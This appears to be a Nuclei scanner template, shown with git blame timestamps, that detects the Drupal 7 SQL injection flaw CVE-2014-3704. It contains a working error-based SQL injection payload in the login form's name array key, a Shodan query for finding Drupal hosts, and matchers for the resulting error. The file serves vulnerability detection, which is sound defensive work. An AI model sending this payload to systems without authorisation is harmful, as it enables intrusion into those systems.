nuclei-templates/cves/2014/CVE-2014-3704.yaml

46 lines
1.5 KiB
YAML
Raw Normal View History

2021-04-07 12:22:53 +00:00
id: CVE-2014-3704
2021-04-07 12:22:53 +00:00
info:
name: Drupal SQL Injection
2021-04-07 12:22:53 +00:00
author: princechaddha
severity: high
description: The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing specially crafted keys.
reference:
- https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2014-10-15/sa-core-2014-005-drupal-core-sql
- https://nvd.nist.gov/vuln/detail/CVE-2014-3704
2021-04-22 09:02:19 +00:00
- https://www.drupal.org/SA-CORE-2014-005
- https://www.exploit-db.com/exploits/34984
- https://www.exploit-db.com/exploits/34992
- https://www.exploit-db.com/exploits/34993
- https://www.exploit-db.com/exploits/35150
remediation: Upgrade to Drupal core 7.32 or later.
classification:
cve-id: CVE-2014-3704
2022-07-07 06:45:55 +00:00
metadata:
shodan-query: http.component:"drupal"
tags: cve,cve2014,drupal,sqli
2021-04-07 12:22:53 +00:00
2022-06-30 03:43:06 +00:00
variables:
num: "999999999"
2021-04-07 12:22:53 +00:00
requests:
- method: POST
path:
- "{{BaseURL}}/?q=node&destination=node"
2022-06-30 03:43:06 +00:00
body: 'pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5({{num}})),1)%23]=bob&name[0]=a'
2021-04-07 12:22:53 +00:00
matchers-condition: and
matchers:
- type: word
words:
- "PDOException"
2022-06-30 03:43:06 +00:00
- '{{md5({{num}})}}'
2021-04-07 12:22:53 +00:00
condition: and
part: body
2022-06-30 03:43:06 +00:00
- type: status
status:
- 500
# Enhanced by mp on 2022/02/24